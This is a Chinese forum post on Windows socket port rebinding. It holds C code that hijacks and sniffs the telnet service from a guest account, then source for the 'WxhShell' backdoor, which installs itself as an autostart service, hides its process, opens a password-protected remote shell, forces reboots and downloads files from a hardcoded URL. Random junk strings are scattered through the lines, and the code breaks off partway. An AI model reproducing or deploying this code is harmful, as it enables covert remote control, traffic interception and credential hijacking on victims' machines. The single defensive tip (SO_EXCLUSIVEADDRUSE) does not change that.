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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PVOv[%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QM]YJr3r E  
.m AjfP*  
  saddr.sin_family = AF_INET; }&e5$lB  
Z6pUZ[j,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bj~+WwD)QR  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EzIGz[  
i  LAscb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2"5v[,$1H  
C-[1iW'  
  这意味着什么?意味着可以进行如下的攻击: ?rIx/>C9  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5Ph4<f` L~  
+MLVbK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gNhQD*+>{  
*#Wdc O `-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @A 5?3(e  
T^v}mWCZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >*n0n!vF  
1QJL .  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BUR*n;V`  
QIgNsz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _[y/Y\{I  
'7@R7w!E4H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :eg4z )  
)WoxMmz  
  #include .6V}3q$-@  
  #include _l]fkk[T  
  #include f9\X>zzB2|  
  #include    JZ#[ 2mLh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &M '*6A  
  int main() HdG2X  
  { [PM4k0YC8  
  WORD wVersionRequested; J")#I91  
  DWORD ret;  ][]  
  WSADATA wsaData; 2|bn(QYz  
  BOOL val; kxRV )G  
  SOCKADDR_IN saddr; g4@ lM"|S  
  SOCKADDR_IN scaddr; ``Un&-Ms  
  int err; L^Fy#p  
  SOCKET s; (M ~e?s  
  SOCKET sc; ,1##p77.  
  int caddsize; N"1B/u  
  HANDLE mt; +@:x!q|^  
  DWORD tid;   ym6K !i]q4  
  wVersionRequested = MAKEWORD( 2, 2 ); ujucZ9}yd  
  err = WSAStartup( wVersionRequested, &wsaData ); @<Yy{ ~L|  
  if ( err != 0 ) { ,{q;;b9  
  printf("error!WSAStartup failed!\n"); (b6NX~G-:  
  return -1; +KEWP\r  
  } )tpL#J  
  saddr.sin_family = AF_INET; 2[;_d;oB@  
   QVE6We  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nQ L@hc  
S[T8T|_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q dp)cT  
  saddr.sin_port = htons(23); B~du-Z22IZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %!L9)(}"  
  { Ib0ZjX6  
  printf("error!socket failed!\n"); nJLFfXWx  
  return -1; 8Bg;Kh6B  
  } \r>6`-cs]  
  val = TRUE; k: ;WtBC6j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jZ3fKyp#   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0P(!j_2m  
  { 1>&]R=  
  printf("error!setsockopt failed!\n"); O,A{3DAe0  
  return -1; ~3S~\0&|  
  } H$KTo/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i@R 1/M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c7E11 \%&Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OaZQ7BGq  
)tnh4WMh}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?KI,cl  
  { aoa)BNs  
  ret=GetLastError(); d5z`BH.  
  printf("error!bind failed!\n"); dw7$Vh0y  
  return -1; ~F?u)~QZ #  
  } hDq`Z$_+KX  
  listen(s,2); 0nD/;\OU  
  while(1) tlt*fH$ .  
  { o7LuKRl   
  caddsize = sizeof(scaddr); o\)F}j&b#=  
  //接受连接请求 9 5RBO4w%w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f0aKlhEC  
  if(sc!=INVALID_SOCKET) gOOPe5+ J  
  { Vl!6W@g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (NnH:J`  
  if(mt==NULL) t>B;w14  
  { <kd1Nrr!p  
  printf("Thread Creat Failed!\n"); SG4%}wn%  
  break; M[112%[+4  
  } s&!a  
  } '-/xyAzS  
  CloseHandle(mt); -8rjgB~."/  
  } aCLqk'  
  closesocket(s); mju>>\9  
  WSACleanup(); G<^{&E+=  
  return 0; H1(Uw:V8  
  }   mcX/GO}  
  DWORD WINAPI ClientThread(LPVOID lpParam) +|>kCtZH%  
  { !GEJIefx_  
  SOCKET ss = (SOCKET)lpParam; N<KS(@v y  
  SOCKET sc; w~?~g<q  
  unsigned char buf[4096]; xLZG:^(I  
  SOCKADDR_IN saddr; VEw"  
  long num; %\Mo-Ow!\  
  DWORD val; Bv%GJ*>>  
  DWORD ret; @<]Ekkg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y.ToIka{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A^EE32kbm  
  saddr.sin_family = AF_INET; SrK<fAkx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W#C*5@8  
  saddr.sin_port = htons(23);  XJ5 .  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rkY[E(SY  
  { A;|D:;x3G  
  printf("error!socket failed!\n"); A1?2*W  
  return -1; ;H.^i|_/  
  } ZH)="qx [  
  val = 100; JNUt$h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zeC RK+-  
  { "djw>|,N<  
  ret = GetLastError(); f/Bp.YwL  
  return -1; t=O8f5Pf{  
  } KC#q@InK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8rS:5:Hi  
  { X~,aNRy  
  ret = GetLastError(); _v=SH$O+  
  return -1; Q=20IQp  
  } z4]api(xZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jc f #6   
  { EeRX+BM,  
  printf("error!socket connect failed!\n"); q,eVjtF  
  closesocket(sc); BV upDGh3  
  closesocket(ss); !*. -`$x  
  return -1; V2|aN<Sx<  
  } [ $n_6  
  while(1) <r`2)[7N  
  { zY!j:FT1HY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FfPar:PHj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k<{{*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 spPNr  
  num = recv(ss,buf,4096,0); oVfLnI ;  
  if(num>0) &,CiM0  
  send(sc,buf,num,0); P8)=Kbd  
  else if(num==0) j*jo@N |  
  break; Q_X.rUL0w  
  num = recv(sc,buf,4096,0); &_|#.  
  if(num>0) )vb*Ef  
  send(ss,buf,num,0); > eIP.,9  
  else if(num==0) YCM]VDx4u1  
  break; #c?j\Y9nz  
  } +sUFv)!4  
  closesocket(ss); #"\gLr_:m  
  closesocket(sc); ,+{LYF  
  return 0 ; Pjjewy1}^  
  } doy`C)xI  
DOJN2{IP  
'>0fWBs  
========================================================== <drODjB  
8tFoN*M  
下边附上一个代码,,WXhSHELL EbE-}>7OO  
MgrLSKLT  
========================================================== $$5aUI:$~$  
c>Xs&_  
#include "stdafx.h" <\ :Yk  
gPsi  
#include <stdio.h> (l- ab2'  
#include <string.h> UsQ+`\|  
#include <windows.h> H'HA+q  
#include <winsock2.h> q $tUH)0  
#include <winsvc.h> 9"A`sGZ  
#include <urlmon.h> =~H<Z LE+  
kep/+J-u  
#pragma comment (lib, "Ws2_32.lib") OAkZKG|  
#pragma comment (lib, "urlmon.lib") ~h85BF5  
(#RHB`h5  
#define MAX_USER   100 // 最大客户端连接数 QYjsDL><  
#define BUF_SOCK   200 // sock buffer <Fc;_GG  
#define KEY_BUFF   255 // 输入 buffer (ECnM ti+  
^ xh;  
#define REBOOT     0   // 重启 Slher0.Y  
#define SHUTDOWN   1   // 关机 \BZhf?9U  
S(8$S])0  
#define DEF_PORT   5000 // 监听端口 a$"Hvrj  
R:k5QD9/&p  
#define REG_LEN     16   // 注册表键长度 N@1+O,o  
#define SVC_LEN     80   // NT服务名长度 oxkoA  
1Y@Aixx  
// 从dll定义API Qqvihd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W!&'pg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^_u kLzP9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 48qV >Gwf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &c:Ad% z  
#( jw!d&  
// wxhshell配置信息 ,5, !es@`b  
struct WSCFG { E}p&2P+MR  
  int ws_port;         // 监听端口 ;1.,Sn+zO  
  char ws_passstr[REG_LEN]; // 口令 _Khc3Jo  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z9 9>5\k  
  char ws_regname[REG_LEN]; // 注册表键名 U\;6mK)M^J  
  char ws_svcname[REG_LEN]; // 服务名 ()+ <)hg}2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^,8)iV0j_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J )~L   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bMMh|F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EzV96+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DV-;4AxxRq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0#&5.Gr)  
[uq$5u  
}; ?$^2Umt 0  
7=WT69,&  
// default Wxhshell configuration (>GK \=:<  
struct WSCFG wscfg={DEF_PORT, `[)YEg s  
    "xuhuanlingzhe", %i-c0|,T4  
    1, _m'Fr 7  
    "Wxhshell", r{ef.^&:  
    "Wxhshell", TXk?#G\o  
            "WxhShell Service", sq[iY  
    "Wrsky Windows CmdShell Service", h`k"A7M  
    "Please Input Your Password: ", >wBJy4:  
  1, X+}1  
  "http://www.wrsky.com/wxhshell.exe", pxf$ 1  
  "Wxhshell.exe" ez^@NK  
    }; .wu xoq  
vIwCJN1C  
// 消息定义模块 xAe~]k_D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b7tOo7aH)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; : b~6i%b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U1RpLkibQ  
char *msg_ws_ext="\n\rExit."; QxOjOKAG  
char *msg_ws_end="\n\rQuit."; rKf-+6Na  
char *msg_ws_boot="\n\rReboot..."; yA(K=?sq  
char *msg_ws_poff="\n\rShutdown..."; kO{s^_qR^c  
char *msg_ws_down="\n\rSave to "; ,@3$X=),E  
;Tc`}2  
char *msg_ws_err="\n\rErr!"; ^__Dd)(  
char *msg_ws_ok="\n\rOK!"; ;R?I4}O#R8  
%V{7DA&C  
char ExeFile[MAX_PATH]; uYil ?H{kH  
int nUser = 0; nwaxz>;  
HANDLE handles[MAX_USER]; ]=";IN:SU  
int OsIsNt; GBFtr   
[7S} g  
SERVICE_STATUS       serviceStatus; dW~*e2nq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j;3[KLmuK%  
o1Q7Th  
// 函数声明 fasgmi}  
int Install(void); Qx47l  
int Uninstall(void); 69NQ]{1  
int DownloadFile(char *sURL, SOCKET wsh); yz*6W zD  
int Boot(int flag); '07P&g-  
void HideProc(void); 1u(.T0j7f  
int GetOsVer(void); a5!Fv54  
int Wxhshell(SOCKET wsl); $3uKw!z  
void TalkWithClient(void *cs); MFm"G  
int CmdShell(SOCKET sock); R&';Oro  
int StartFromService(void); hQHnwr  
int StartWxhshell(LPSTR lpCmdLine); ez!C?  
mAW, ?h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' n$ %Ls}S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ql?=(b;D  
hk;7:G  
// 数据结构和表定义 (BfgwC)  
SERVICE_TABLE_ENTRY DispatchTable[] = /2Bi@syxK  
{ K/=_b<  
{wscfg.ws_svcname, NTServiceMain}, L^4-5`gj  
{NULL, NULL} $N=N(^  
}; ;cz|ss=  
Ox'/` Mppw  
// 自我安装 >P $;79<  
int Install(void) /<8N\_wh  
{ OdY=z!Fls  
  char svExeFile[MAX_PATH]; m[@Vf9  
  HKEY key; a di [-L#  
  strcpy(svExeFile,ExeFile); 9>rPe1iv  
%T9  sz4V  
// 如果是win9x系统,修改注册表设为自启动 D HT&,=  
if(!OsIsNt) { \$OF1i@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @b~fIW_3>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9Q-*@6G  
  RegCloseKey(key); (N=5 .7"T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { e5/+W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tP%{P"g3^  
  RegCloseKey(key); -cm$[,b6  
  return 0; g{9+O7q  
    } -,{-bi  
  } ]B]*/  
} U Gpu\TB  
else { x5WW--YR+  
4[-*~C|W5  
// 如果是NT以上系统,安装为系统服务 p6XtTx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xvSuPP4 m  
if (schSCManager!=0) Ze3X$%kWi  
{ (q7 Ry4-  
  SC_HANDLE schService = CreateService m&iH2|  
  ( .eO?Z^  
  schSCManager, FSb Hn{@  
  wscfg.ws_svcname, hyT1xa  
  wscfg.ws_svcdisp, p/ >`[I  
  SERVICE_ALL_ACCESS, <ExZ:ip  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~w;]c_{.b  
  SERVICE_AUTO_START, @b3#X@e}  
  SERVICE_ERROR_NORMAL, d'Axum@  
  svExeFile, u}|%@=xn  
  NULL, >xn}N6Rj2~  
  NULL, ulJX1I=|p  
  NULL, n%\ /J  
  NULL, 2{.QjYw^  
  NULL hw~a:kD  
  ); yj(vkifEB  
  if (schService!=0) ^@_m "^C  
  { +/;*|  
  CloseServiceHandle(schService); zn @N'R/  
  CloseServiceHandle(schSCManager); (x$9~;<S*d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |fY/i] Ax  
  strcat(svExeFile,wscfg.ws_svcname); KB!|B.ChN(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;eZ#bjw-d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $eBX  
  RegCloseKey(key); `O8b1-1q~  
  return 0; OLj\-w^  
    } nPgeLG"00  
  } W Qc>  
  CloseServiceHandle(schSCManager); =60~UM  
} <(e8sNe  
} |J~eLh[d  
CCGV~e+  
return 1; ACK1@eF  
} }V|{lvt.  
sW^a`VM  
// 自我卸载 rqlc2m,<-p  
int Uninstall(void) ^U8r0]9  
{ ^:jN3@ Q%  
  HKEY key; yRYWch  
R, 8s_jN  
if(!OsIsNt) {  l"zUv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m%8q Zzqk  
  RegDeleteValue(key,wscfg.ws_regname); DBs*F x[  
  RegCloseKey(key); 1]T`n/d V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2 qO3XI  
  RegDeleteValue(key,wscfg.ws_regname); {3Vk p5%l  
  RegCloseKey(key); U\?g*  
  return 0; w_iamqe,  
  } CC3v%^81l^  
} l#wdpD a{  
} h !(>7/Gi  
else { zK+52jhi  
TjBY 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [ &qA\  
if (schSCManager!=0) 2`= 6%s  
{ :;!\vfZbU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'iLH `WE  
  if (schService!=0) {hO`6mr&t  
  { t=#Pya  
  if(DeleteService(schService)!=0) { \ U-vI:J_  
  CloseServiceHandle(schService); il:nXpM!  
  CloseServiceHandle(schSCManager); @oG)LT  
  return 0; ~H}en6Rc  
  } H_IGFZCh  
  CloseServiceHandle(schService); 0X(]7b&~R  
  } J:F^ #gW  
  CloseServiceHandle(schSCManager); BXUF^Hj%  
} mEuHl>  
} s2v(=  
yO>V/5`  
return 1; WnAd5#G  
} I}Xg &-L  
m$$?icA  
// 从指定url下载文件 h.whjiCFa  
int DownloadFile(char *sURL, SOCKET wsh) *xM/ ;)  
{  [&P`ak  
  HRESULT hr; Ld|V^9h1;  
char seps[]= "/"; ~tGCLf]c\  
char *token; |@o6NZ<9N  
char *file; p11G#.0  
char myURL[MAX_PATH]; qU[O1bN  
char myFILE[MAX_PATH]; y^FOsr  
swpnuuC-  
strcpy(myURL,sURL); RwTzz] M  
  token=strtok(myURL,seps); 9F+P@Kp  
  while(token!=NULL) 8Xm@r#Oy5  
  { C/v}^#cLD  
    file=token; $~'Tf>e  
  token=strtok(NULL,seps); ?Cci:Lin  
  } O(OmGu4%  
b5e@oIK  
GetCurrentDirectory(MAX_PATH,myFILE); uiBTnG"  
strcat(myFILE, "\\"); I*1S/o_xI  
strcat(myFILE, file); Eo{EKI1  
  send(wsh,myFILE,strlen(myFILE),0); o+g4p:Mf  
send(wsh,"...",3,0); wy4q[$.4v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zb2K;%Qs+f  
  if(hr==S_OK) }&G]0hCT!  
return 0; IvW@o1Q  
else ?G/hJ?3  
return 1; +CTmcbyOi  
}BN\/;<A  
} F$hZRZ  
Ud3""C5B  
// 系统电源模块 N5 q725zJ  
int Boot(int flag) ZcZ;$*  
{ j.QHkI1.  
  HANDLE hToken; z*.v_Mx  
  TOKEN_PRIVILEGES tkp; "j Zm0U$,*  
Qm);6X   
  if(OsIsNt) { C;sgK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =%h~/,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nN ~GP"}  
    tkp.PrivilegeCount = 1; [a8+(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }#aKFcvg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > x'bZ]gm  
if(flag==REBOOT) { =[(1my7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mTEVFm  
  return 0; =&0U`P$`  
} o1YU_k<#  
else { i;lE5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &jJckT  
  return 0; =FBIrw{w  
} 6f}e+80  
  } |R'i:=  
  else { 1-$P0  
if(flag==REBOOT) { ~Ob8i1S>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :k1$g+(lP  
  return 0; Z! YpklZ?~  
} 4 10:%WGc  
else { ULvVD6RQ47  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AA7#c7  
  return 0; aii'}c  
} BQ#jwu0e  
} piu0^vEEH  
DM2Q1Dh3  
return 1; YZ[%uArm  
} &"j@79Ym1~  
!P"?  
// win9x进程隐藏模块 B+D`\Nlo  
void HideProc(void) Ve14rn  
{ %vc'{`P  
^W['A]l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MxN]7  
  if ( hKernel != NULL ) A[ 1)!e  
  { *tAqt2{48  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZW* fOaj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lS3 _Ild  
    FreeLibrary(hKernel); )@c3##Zp)  
  } NS 5 49S  
H^v{Vo  
return; n^6TP'r  
} 0Uaem  
$SF3odpt  
// 获取操作系统版本 Th+|*=Il  
int GetOsVer(void) hgj0tIi/  
{ T{~MiC6A  
  OSVERSIONINFO winfo; <`mOU} 0 )  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S&|VkZR)  
  GetVersionEx(&winfo); td/5Bmj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nCB[4  
  return 1; 36i_D6  
  else ]n1D1  
  return 0; ;8EjjF [>  
} ) ]]|d  
U$EM.ot  
// 客户端句柄模块 <tQXK;  
int Wxhshell(SOCKET wsl) 83xd@-czgh  
{ TA9dkYlE/  
  SOCKET wsh; YUS?]~XC7x  
  struct sockaddr_in client; 165WO}(;/  
  DWORD myID; 2HVCXegq  
|lHFo{8"  
  while(nUser<MAX_USER) KF4see;;  
{ n% U9iwJ.  
  int nSize=sizeof(client); UNY@w=]<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k7b(QADqUU  
  if(wsh==INVALID_SOCKET) return 1; 7C YH'DL  
Rh yegD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sx90lsu  
if(handles[nUser]==0) _"v~"k 90^  
  closesocket(wsh); :28@J?jjO  
else S `wE$so>  
  nUser++; S r[IoF)  
  } 9 G((wiE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z.A4x#>-  
k2wBy'M .'  
  return 0; j>V"hf  
} =*[, *A  
mC "7)&,F  
// 关闭 socket 0. (zTJ  
void CloseIt(SOCKET wsh) _AAx )  
{ 3v G  
closesocket(wsh); o[2Y;kP3*P  
nUser--; 1y(iE C  
ExitThread(0); ] :GfOgo  
} 6e&g$ R v  
Rgs3A)[`d/  
// 客户端请求句柄 s V&`0N  
void TalkWithClient(void *cs) &8juS,b  
{ 78^Y;2 P]W  
l4DeX\ly7f  
  SOCKET wsh=(SOCKET)cs; SUSc  
  char pwd[SVC_LEN]; 0ZFB4GL  
  char cmd[KEY_BUFF]; ^U" q|[qy  
char chr[1]; Vz k cZK  
int i,j; B_b8r7Vn`  
d[yrNB6|  
  while (nUser < MAX_USER) { r \9:<i8  
i~(#S8U4d  
if(wscfg.ws_passstr) { 69?I?,7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bac?'ypm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?#U0eb5u  
  //ZeroMemory(pwd,KEY_BUFF); 0\QYf0o   
      i=0; |@OJ~5H/{  
  while(i<SVC_LEN) { O&F< oM  
nO-d" S*  
  // 设置超时 2}GKHC  
  fd_set FdRead; G) jG!`I  
  struct timeval TimeOut; [6oq##  
  FD_ZERO(&FdRead); IBzHR[#,^  
  FD_SET(wsh,&FdRead); 0%#t[us Y  
  TimeOut.tv_sec=8; QZqp F9Eu  
  TimeOut.tv_usec=0; Bfu/9ad  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D1"1MUSod  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S|s3}]g9  
jw%fN!?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5ZZd.9ZgM  
  pwd=chr[0]; sn2r >m3  
  if(chr[0]==0xd || chr[0]==0xa) { yo'q[YtP'  
  pwd=0; .Y+mwvLpRG  
  break; U[blq M  
  } p.qrf7N$  
  i++; ngtuYASc  
    } axHxqhO7zp  
YNuewD  
  // 如果是非法用户,关闭 socket +k# mvPq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4u7c7K>\Y  
} &8R-C[A  
QxP` fKC8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ftDVxKDE?S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e-&L\M  
JkRGtYq  
while(1) { 9)8*FahW  
R:SIs\%o  
  ZeroMemory(cmd,KEY_BUFF); [^cs~ n4  
")fOup@ ^a  
      // 自动支持客户端 telnet标准   ? +5" %4o  
  j=0; V6A5(-%`y  
  while(j<KEY_BUFF) { +#&el//  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O@G<B8U,K  
  cmd[j]=chr[0]; 1uKD&k%q  
  if(chr[0]==0xa || chr[0]==0xd) { = ?y^O0v  
  cmd[j]=0; NdaVT5RB  
  break; [N'r3  
  } d#x8O4S%i2  
  j++; nhB^Xr=  
    } 37.) @  
y}3 `~a  
  // 下载文件 yYVW"m  
  if(strstr(cmd,"http://")) { }])G Q@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O~7p^i}  
  if(DownloadFile(cmd,wsh)) >$d d 9|[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@l +\M(  
  else Zw3hp,P]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tyBg7dP  
  } F(0pru4u  
  else { bcGn8  
Y/QK+UMW*  
    switch(cmd[0]) { Y- z~#;  
  .H*? '*  
  // 帮助 4nX'a*'D~}  
  case '?': { A- <.#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WV9[DFU  
    break; /3xFd)|Ds  
  } 2gK p\!  
  // 安装 BV_a-\Sa=  
  case 'i': { #d7)$ub  
    if(Install()) zIX}[l4EW~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8' WLm  
    else ^hGZVGSv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LNsE7t  
    break; D/ NIn=>j  
    } arpJiG~JR  
  // 卸载 8trm`?>  
  case 'r': { bCe[nmE2  
    if(Uninstall()) oW\Q>c7 =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r zc 3k~@  
    else % B7?l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AZBY, :>D  
    break; ]G$!/vXP  
    } ;NvhL|R  
  // 显示 wxhshell 所在路径 C/grrw  
  case 'p': { ]lG_rGw  
    char svExeFile[MAX_PATH];  xLGTnMYd  
    strcpy(svExeFile,"\n\r"); RMs1{64:  
      strcat(svExeFile,ExeFile); A `H]q5d  
        send(wsh,svExeFile,strlen(svExeFile),0); Z=1,<ydKV  
    break; r&LCoe'\{i  
    } 3l41r[\  
  // 重启 c qU$gKT  
  case 'b': { 1bFEx_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H f`&&  
    if(Boot(REBOOT)) l.Lc]ZpB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {#d`&]  
    else { ^O,6(@>  
    closesocket(wsh); sIQMUC[!  
    ExitThread(0); $$)<(MP3  
    } .WPuQZ!  
    break; )Uoe ~\  
    } /Wta$!X{-  
  // 关机 pB{ f-M:D  
  case 'd': { b_"V%<I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |<5J  
